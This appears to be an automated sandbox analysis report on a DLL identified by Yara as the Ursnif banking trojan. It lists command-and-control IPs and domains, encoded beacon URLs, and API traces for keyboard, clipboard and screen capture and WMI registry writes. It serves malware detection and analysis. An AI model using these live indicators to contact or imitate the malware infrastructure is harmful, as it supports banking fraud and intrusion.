Source: unknown	TCP traffic detected without corresponding DNS query: 31.214.157.187
Source: unknown	TCP traffic detected without corresponding DNS query: 31.214.157.187
Source: unknown	TCP traffic detected without corresponding DNS query: 31.214.157.187
Source: unknown	TCP traffic detected without corresponding DNS query: 31.214.157.187
Source: unknown	TCP traffic detected without corresponding DNS query: 194.76.226.200
Source: unknown	TCP traffic detected without corresponding DNS query: 194.76.226.200
Source: unknown	TCP traffic detected without corresponding DNS query: 31.214.157.187
Source: unknown	TCP traffic detected without corresponding DNS query: 31.214.157.187

Source: loaddll32.exe, 00000000.00000003.750161784.0000000000AC0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://194214.157.187/
Source: loaddll32.exe, 00000000.00000003.750126035.0000000000AA3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.214.157.187/
Source: loaddll32.exe, 00000000.00000002.777186188.0000000000AB6000.00000004.00000020.00020000.00000000.sdmp, loaddll32.exe, 00000000.00000003.772898305.0000000000AB4000.00000004.00000020.00020000.00000000.sdmp, loaddll32.exe, 00000000.00000003.750136886.0000000000AB2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.214.157.187/drew/XdSo6qg_2FEgYysST/WOvXNJFccrJx/zVwG0bEZwA1/FgOrwJqVq8qQMt/gJKBdkHK_2BRbM8
Source: loaddll32.exe, 00000000.00000002.776884531.0000000000A5B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://config.edge.skype.com/
Source: loaddll32.exe, 00000000.00000002.776884531.0000000000A5B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://config.edge.skype.com/8
Source: loaddll32.exe, 00000000.00000002.777186188.0000000000AB6000.00000004.00000020.00020000.00000000.sdmp, loaddll32.exe, 00000000.00000003.772898305.0000000000AB4000.00000004.00000020.00020000.00000000.sdmp, loaddll32.exe, 00000000.00000003.750136886.0000000000AB2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://config.edge.skype.com/drew/8aMvIN0oJqk/wfo22krGhemAS6/6H_2FPRAH0bqwevjC8Pk5/kXre7OAlPZjP7YB8/
Source: loaddll32.exe, 00000000.00000003.750136886.0000000000AB2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://config.edge.skype.com/drew/cmlyVQ2zwKm8fCRpP0VB/i6Zv1FcucRsB3XE0xRC/6VGWBAMEz_2Fh6VbcTZ9sL/wE
Source: WerFault.exe, 00000007.00000002.314858058.00000000049C9000.00000004.00000800.00020000.00000000.sdmp, WerFault.exe, 00000007.00000003.312995086.00000000049C8000.00000004.00000800.00020000.00000000.sdmp, WerFault.exe, 00000007.00000003.312888145.00000000049C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: loaddll32.exe, 00000000.00000003.750126035.0000000000AA3000.00000004.00000020.00020000.00000000.sdmp, loaddll32.exe, 00000000.00000002.777131845.0000000000AA3000.00000004.00000020.00020000.00000000.sdmp, loaddll32.exe, 00000000.00000003.438896118.0000000000AA3000.00000004.00000020.00020000.00000000.sdmp, loaddll32.exe, 00000000.00000003.773036185.0000000000AA3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://habpfans.at/
Source: loaddll32.exe, 00000000.00000003.439117348.0000000000ACD000.00000004.00000020.00020000.00000000.sdmp, loaddll32.exe, 00000000.00000003.438919060.0000000000AC0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://habpfans.at/drew/5tHE_2Fl/pXBoYLIb7sXj6_2FbgEdP7S/1g8RiyhGmo/7FzHWL9Gm5Pao_2Bw/5oh73gE4juwn/w
Source: loaddll32.exe, 00000000.00000003.750136886.0000000000AB2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://habpfans.at/drew/AvYfyTR_2B2G3/_2F4h5ah/TJ34ZXtaMR1Oc3_2BPI0hI4/GdwumcM9XU/qAwknuMeebVU2QdSF/
Source: loaddll32.exe, 00000000.00000003.750126035.0000000000AA3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://habpfans.at/g
Source: Amcache.hve.7.dr	String found in binary or memory: http://upx.sf.net
Source: loaddll32.exe, 00000000.00000002.775782547.0000000000773000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 00000003.00000002.315631404.0000000000E83000.00000002.00000001.01000000.00000003.sdmp, hFGZpat9Mf.dll	String found in binary or memory: http://www.dhtmlcentral.com/forums/forum.asp?FORUM_ID=2&CAT_ID=1&Forum_Title=CoolMenus
Source: loaddll32.exe, 00000000.00000002.775782547.0000000000773000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 00000003.00000002.315631404.0000000000E83000.00000002.00000001.01000000.00000003.sdmp, hFGZpat9Mf.dll	String found in binary or memory: http://www.dhtmlcentral.com/tutorial.asp

Source: unknown

DNS traffic detected: queries for: giporedtrip.at

Source: global traffic	HTTP traffic detected: GET /drew/ozC7eSUmzahvYkYKrp/EnTXsLZQu/ZxwfzvyOea6Ms_2FcWiK/QVPuXmRecwMBmPtS2pP/K1YuqB0TTP3PJ7dc3csdFA/1Ac_2BGJ3ahfL/ClNkrX58/ZDofYbeDbIVvrUisO8PwbQv/pc3vAH6GWF/x_2B4_2BbH_2B0wxz/YCHkmZmDbaCX/aMf9JRtYupc/_2Ben2gyoQcqJb/gP1jDokjfsnRCuX4LwXIc/R6CnFb_2FUwS1dKT/G7Z9QUvFXshW5HS/y.jlk HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheUser-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0)Host: 194.76.226.200
Source: global traffic	HTTP traffic detected: GET /drew/CNAO_2FMqt2bQnnFTS9A/gZCx4lwGHYQjpKz_2Bo/eC3Q_2B6RQnBEorg_2FJk6/uEN67LHG_2FS5/_2BBd1X9/aVPauq0optO45rzbpdCQm0T/aYIRRNsEBo/KjgLaOYvR_2BgwzfQ/25S5OlQYXnss/XWKrlvnyLdL/zvJbW2nKGtMp_2/BhAqVJaOXmJzkoWYA4_2B/1sUQfL4pghiYPQ_2/Bk4zNXCpOm9uy6W/_2FwvvWoJCQywtXfuj/zSz8jbk7z4_2FaKsy/ujc.jlk HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheUser-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0)Host: giporedtrip.at
Source: global traffic	HTTP traffic detected: GET /drew/5tHE_2Fl/pXBoYLIb7sXj6_2FbgEdP7S/1g8RiyhGmo/7FzHWL9Gm5Pao_2Bw/5oh73gE4juwn/wLkUkA7sRnm/cso3yuTSujNtgI/CMmvYVa7e4KaoltzEmBTc/sgUl10rzE9jSORq1/rqqMvEmtzS52b3S/MwqSqUIn0qJ41lN07l/ltNVceIDT/qjCtCMmp_2FbkkqAoDDI/2nZPBTOmmpjaMrj1ust/QMCPjE0wKPGXBQrFS0WE_2/B3SVbiens/K.jlk HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheUser-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0)Host: habpfans.at
Source: global traffic	HTTP traffic detected: GET /drew/n9Q8SXORQfxecr/MW5_2Fu9_2Bgocr6670ju/D1JJTVEHrWL1TxqL/xGoJ_2FQlD36_2B/GkPBzrjzE3l7JBLY9O/1EFPlHsMW/m5HxfuFe9CAmeE3Sv9mV/WruJ_2B6bq6RWMaARg5/48WJvcYD9cWVaImnFjKYnp/qqfI438hlaFuV/Cz10Llo3/y28DCtREPMb5OZnUZKj2hAx/fvbD6E0k2X/xMHWSCI5symguz2Bp/FnCO_2F0QOq8/vwhEVJIxW/5.jlk HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheUser-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0)Host: 31.214.157.187
Source: global traffic	HTTP traffic detected: GET /drew/t4UXVVFvbg_2F3LXo8gXBT/1icGJdsG14mTA/YOVrBwZF/xARqsNBXczJePkKt2X6ww_2/BWmoPwSUrF/dMkwNYvCaezjn8JBl/H0ytvGxBbW3l/zR2N_2BHrz_/2FvsAN_2FRzTTC/lSSKBusA2w75D7HkZKGJs/DACOMqt0XK0wSfc5/bo0iFsZeiFg2i2l/JDzyY2V7hheHpK0ocJ/ZgcshLwb0/jlOmaQmjqFbHJJo3m7Pt/o4K7mLse1jm/1K47Z.jlk HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheUser-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0)Host: 194.76.226.200
Source: global traffic	HTTP traffic detected: GET /drew/vDXEGqf4EaI6e/GBZCusNA/wGFZ17UZEew5_2F3lztpfux/SlqAMrP7W1/XBD36Fnf1Eq7wA6HD/bZQhlGWv2oMx/02wZPYg1S9_/2FsBPVVzIGiliu/ZgesoO3_2BU1Itp9mWBBQ/zS9Fa06G7Ifi1Qdi/yVB_2BRlu8Zp_2B/LJtKQv4YtcqH6IAzxR/L6Ho0ZvfB/evXUKtmzU_2B4Fe1cs5B/1wJA25jdSjnKCVAyqP7/xAdhGKLVvM/CvkvXIJYGs/9.jlk HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheUser-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0)Host: giporedtrip.at
Source: global traffic	HTTP traffic detected: GET /drew/AvYfyTR_2B2G3/_2F4h5ah/TJ34ZXtaMR1Oc3_2BPI0hI4/GdwumcM9XU/qAwknuMeebVU2QdSF/VN2ToaIYsZPU/kI1do_2B9jW/Q9gfyv85CoHPvT/SnqcLw3TTcQW61PNrLWiv/_2BkKhdRaMJkT9HD/82Fg3tERnOrn6Yg/fT2SNRr4ih8M1B9lEq/WIX8riitn/8yNrCBKJNgpm3khA4gSx/B8X3zDAJaQCYV1F4k99/jQHMcxYL/Il8wT6lWu/Ih.jlk HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheUser-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0)Host: habpfans.at
Source: global traffic	HTTP traffic detected: GET /drew/XdSo6qg_2FEgYysST/WOvXNJFccrJx/zVwG0bEZwA1/FgOrwJqVq8qQMt/gJKBdkHK_2BRbM8cGXljg/dR5mjLhLFYJj3437/sCPrzkqYN8vu4UK/Lv8bHqBMBEjz1n4JUX/xuOm6McxD/U7cQGMW7Bxk_2BVYpR1Y/2dwD1RGZgWHtptGZcjA/6KkSFpd8oqg4xHg9j8CKKi/XQJvRiHHSuj0_/2BwWvoV7/60l_2BahFJ3qIHK1CvN87c7/jOCSFwu.jlk HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheUser-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0)Host: 31.214.157.187

Key, Mouse, Clipboard, Microphone and Screen Capturing

Yara detected Ursnif

Source: Yara match	File source: 00000000.00000003.481994883.0000000002FD8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.302599061.0000000002FD8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.302425761.0000000002FD8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.302331542.0000000002FD8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.302218181.0000000002FD8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.302044791.0000000002FD8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.301848056.0000000002FD8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.302504649.0000000002FD8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.301661083.0000000002FD8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.777721996.0000000002FD8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: loaddll32.exe PID: 988, type: MEMORYSTR
Source: Yara match	File source: 3.2.rundll32.exe.ee0000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.0.rundll32.exe.ee0000.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.rundll32.exe.1080000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.0.rundll32.exe.1080000.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.loaddll32.exe.9e0000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.0.rundll32.exe.1080000.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.0.rundll32.exe.1080000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.0.rundll32.exe.ed0184.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.rundll32.exe.ed0184.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.loaddll32.exe.9e0000.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.loaddll32.exe.2500000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.rundll32.exe.1080000.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.loaddll32.exe.890184.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.0.rundll32.exe.1080000.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.0.rundll32.exe.ee0000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.loaddll32.exe.2a094a0.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.loaddll32.exe.8a0000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.loaddll32.exe.2a094a0.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.0.rundll32.exe.ed0184.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.777601117.0000000002A09000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000000.253570198.0000000001080000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.315781287.0000000001080000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000000.253536439.0000000000ED0000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.315692460.0000000000ED0000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.776718826.00000000009E0000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.776603802.0000000000890000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000000.254119232.0000000000ED0000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000000.253543214.0000000000EE0000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.776641923.00000000008A0000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000000.254127070.0000000000EE0000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000000.254160040.0000000001080000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.315717603.0000000000EE0000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 3_2_00E33B10 GetClipboardData,CopyEnhMetaFileA,GetEnhMetaFileHeader,

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 3_2_00E34154 GetObjectA,GetDC,CreateCompatibleDC,CreateBitmap,CreateCompatibleBitmap,GetDeviceCaps,GetDeviceCaps,SelectObject,GetDIBColorTable,GetDIBits,SelectObject,CreateDIBSection,GetDIBits,SelectObject,SelectPalette,RealizePalette,FillRect,SetTextColor,SetBkColor,SetDIBColorTable,PatBlt,CreateCompatibleDC,SelectObject,SelectPalette,RealizePalette,SetTextColor,SetBkColor,BitBlt,SelectPalette,SelectObject,DeleteDC,SelectPalette,

Source: loaddll32.exe, 00000000.00000002.776884531.0000000000A5B000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: <HOOK MODULE="DDRAW.DLL" FUNCTION="DirectDrawCreateEx"/>

Source: C:\Windows\System32\loaddll32.exe

Code function: 0_2_00730108 GetProcessUIContextInformation,GetRawInputData,GetSystemMenu,Sleep,GetUserObjectInformationW,GetWindowBand,GetWindowCompositionAttribute,GetWindowFeedbackSetting,GetWindowMinimizeRect,ImpersonateDdeClientWindow,GetMenuBarInfo,InitializeInputDeviceInjection,GetMenuBarInfo,InitializePointerDeviceInjectionEx,InjectDeviceInput,InjectGenericHidInput,

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 3_2_00E57B64 GetKeyboardState,

E-Banking Fraud

Yara detected Ursnif

Source: Yara match	File source: 00000000.00000003.481994883.0000000002FD8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.302599061.0000000002FD8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.302425761.0000000002FD8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.302331542.0000000002FD8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.302218181.0000000002FD8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.302044791.0000000002FD8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.301848056.0000000002FD8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.302504649.0000000002FD8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.301661083.0000000002FD8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.777721996.0000000002FD8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: loaddll32.exe PID: 988, type: MEMORYSTR
Source: Yara match	File source: 3.2.rundll32.exe.ee0000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.0.rundll32.exe.ee0000.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.rundll32.exe.1080000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.0.rundll32.exe.1080000.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.loaddll32.exe.9e0000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.0.rundll32.exe.1080000.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.0.rundll32.exe.1080000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.0.rundll32.exe.ed0184.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.rundll32.exe.ed0184.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.loaddll32.exe.9e0000.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.loaddll32.exe.2500000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.rundll32.exe.1080000.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.loaddll32.exe.890184.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.0.rundll32.exe.1080000.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.0.rundll32.exe.ee0000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.loaddll32.exe.2a094a0.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.loaddll32.exe.8a0000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.loaddll32.exe.2a094a0.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.0.rundll32.exe.ed0184.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.777601117.0000000002A09000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000000.253570198.0000000001080000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.315781287.0000000001080000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000000.253536439.0000000000ED0000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.315692460.0000000000ED0000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.776718826.00000000009E0000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.776603802.0000000000890000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000000.254119232.0000000000ED0000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000000.253543214.0000000000EE0000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.776641923.00000000008A0000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000000.254127070.0000000000EE0000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000000.254160040.0000000001080000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.315717603.0000000000EE0000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY

System Summary

Writes or reads registry keys via WMI

Source: C:\Windows\System32\loaddll32.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetStringValue
Source: C:\Windows\System32\loaddll32.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::SetDWORDValue
Source: C:\Windows\System32\loaddll32.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::SetBinaryValue
Source: C:\Windows\System32\loaddll32.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::SetStringValue

Writes registry values via WMI

Source: C:\Windows\System32\loaddll32.exe	WMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetDWORDValue
Source: C:\Windows\System32\loaddll32.exe	WMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetBinaryValue
Source: C:\Windows\System32\loaddll32.exe	WMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetStringValue

Source: hFGZpat9Mf.dll

Static PE information: LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, BYTES_REVERSED_LO, EXECUTABLE_IMAGE, DLL, LINE_NUMS_STRIPPED, BYTES_REVERSED_HI

Source: C:\Windows\SysWOW64\rundll32.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 3272 -s 684

Source: C:\Windows\System32\loaddll32.exe

Code function: 0_2_007284AC CheckMenuItem,ExitWindowsEx,

Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_0076B448
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_00E7B448
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_00E41FAC
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_01082244
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_00ED17C8

Source: C:\Windows\System32\loaddll32.exe	Code function: String function: 007064B8 appears 164 times
Source: C:\Windows\System32\loaddll32.exe	Code function: String function: 00706408 appears 48 times
Source: C:\Windows\System32\loaddll32.exe	Code function: String function: 00704068 appears 47 times
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: String function: 00E16408 appears 48 times
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: String function: 00E164B8 appears 164 times

Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_0072A41C NtdllDefWindowProc_A,
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_0074A9F4 NtdllDefWindowProc_A,GetCapture,
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_00E3A41C NtdllDefWindowProc_A,
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_00E5A9F4 NtdllDefWindowProc_A,GetCapture,
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_010814BA SetThreadPriority,NtQuerySystemInformation,Sleep,GetLongPathNameW,GetLongPathNameW,GetLongPathNameW,GetLastError,WaitForSingleObject,GetExitCodeThread,CloseHandle,GetLastError,GetLastError,
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_01082465 NtQueryVirtualMemory,

Source: hFGZpat9Mf.dll

Static PE information: Resource name: RT_BITMAP type: GLS_BINARY_LSB_FIRST

Source: C:\Windows\System32\loaddll32.exe	Section loaded: fadfadfadad.dll
Source: C:\Windows\System32\loaddll32.exe	Section loaded: fadfadfadad.dll
Source: C:\Windows\System32\loaddll32.exe	Section loaded: fadfadfadad.dll
Source: C:\Windows\System32\loaddll32.exe	Section loaded: fadfadfadad.dll
Source: C:\Windows\System32\loaddll32.exe	Section loaded: fadfadfadad.dll
Source: C:\Windows\System32\loaddll32.exe	Section loaded: fadfadfadad.dll
Source: C:\Windows\System32\loaddll32.exe	Section loaded: fadfadfadad.dll
Source: C:\Windows\System32\loaddll32.exe	Section loaded: fadfadfadad.dll
Source: C:\Windows\System32\loaddll32.exe	Section loaded: fadfadfadad.dll
Source: C:\Windows\System32\loaddll32.exe	Section loaded: fadfadfadad.dll
Source: C:\Windows\System32\loaddll32.exe	Section loaded: fadfadfadad.dll
Source: C:\Windows\System32\loaddll32.exe	Section loaded: fadfadfadad.dll
Source: C:\Windows\System32\loaddll32.exe	Section loaded: fadfadfadad.dll
Source: C:\Windows\System32\loaddll32.exe	Section loaded: fadfadfadad.dll
Source: C:\Windows\System32\loaddll32.exe	Section loaded: fadfadfadad.dll
Source: C:\Windows\System32\loaddll32.exe	Section loaded: fadfadfadad.dll
Source: C:\Windows\System32\loaddll32.exe	Section loaded: fadfadfadad.dll
Source: C:\Windows\System32\loaddll32.exe	Section loaded: fadfadfadad.dll
Source: C:\Windows\System32\loaddll32.exe	Section loaded: fadfadfadad.dll
Source: C:\Windows\System32\loaddll32.exe	Section loaded: fadfadfadad.dll
Source: C:\Windows\System32\loaddll32.exe	Section loaded: fadfadfadad.dll
Source: C:\Windows\System32\loaddll32.exe	Section loaded: fadfadfadad.dll
Source: C:\Windows\System32\loaddll32.exe	Section loaded: fadfadfadad.dll
Source: C:\Windows\System32\loaddll32.exe	Section loaded: fadfadfadad.dll
Source: C:\Windows\System32\loaddll32.exe	Section loaded: fadfadfadad.dll
Source: C:\Windows\System32\loaddll32.exe	Section loaded: fadfadfadad.dll
Source: C:\Windows\System32\loaddll32.exe	Section loaded: fadfadfadad.dll
Source: C:\Windows\System32\loaddll32.exe	Section loaded: fadfadfadad.dll
Source: C:\Windows\System32\loaddll32.exe	Section loaded: fadfadfadad.dll
Source: C:\Windows\System32\loaddll32.exe	Section loaded: fadfadfadad.dll
Source: C:\Windows\System32\loaddll32.exe	Section loaded: fadfadfadad.dll
Source: C:\Windows\System32\loaddll32.exe	Section loaded: fadfadfadad.dll
Source: C:\Windows\System32\loaddll32.exe	Section loaded: fadfadfadad.dll
Source: C:\Windows\System32\loaddll32.exe	Section loaded: fadfadfadad.dll
Source: C:\Windows\System32\loaddll32.exe	Section loaded: fadfadfadad.dll
Source: C:\Windows\System32\loaddll32.exe	Section loaded: fadfadfadad.dll
Source: C:\Windows\System32\loaddll32.exe	Section loaded: fadfadfadad.dll
Source: C:\Windows\System32\loaddll32.exe	Section loaded: fadfadfadad.dll
Source: C:\Windows\System32\loaddll32.exe	Section loaded: fadfadfadad.dll
Source: C:\Windows\System32\loaddll32.exe	Section loaded: fadfadfadad.dll
Source: C:\Windows\System32\loaddll32.exe	Section loaded: fadfadfadad.dll
Source: C:\Windows\System32\loaddll32.exe	Section loaded: fadfadfadad.dll
Source: C:\Windows\System32\loaddll32.exe	Section loaded: fadfadfadad.dll
Source: C:\Windows\System32\loaddll32.exe	Section loaded: fadfadfadad.dll
Source: C:\Windows\System32\loaddll32.exe	Section loaded: fadfadfadad.dll
Source: C:\Windows\System32\loaddll32.exe	Section loaded: fadfadfadad.dll
Source: C:\Windows\System32\loaddll32.exe	Section loaded: fadfadfadad.dll
Source: C:\Windows\System32\loaddll32.exe	Section loaded: fadfadfadad.dll
Source: C:\Windows\System32\loaddll32.exe	Section loaded: fadfadfadad.dll
Source: C:\Windows\System32\loaddll32.exe	Section loaded: fadfadfadad.dll
Source: C:\Windows\System32\loaddll32.exe	Section loaded: fadfadfadad.dll
Source: C:\Windows\System32\loaddll32.exe	Section loaded: fadfadfadad.dll
Source: C:\Windows\System32\loaddll32.exe	Section loaded: fadfadfadad.dll
Source: C:\Windows\System32\loaddll32.exe	Section loaded: fadfadfadad.dll
Source: C:\Windows\System32\loaddll32.exe	Section loaded: fadfadfadad.dll
Source: C:\Windows\System32\loaddll32.exe	Section loaded: fadfadfadad.dll
Source: C:\Windows\System32\loaddll32.exe	Section loaded: fadfadfadad.dll
Source: C:\Windows\System32\loaddll32.exe	Section loaded: fadfadfadad.dll
Source: C:\Windows\System32\loaddll32.exe	Section loaded: fadfadfadad.dll
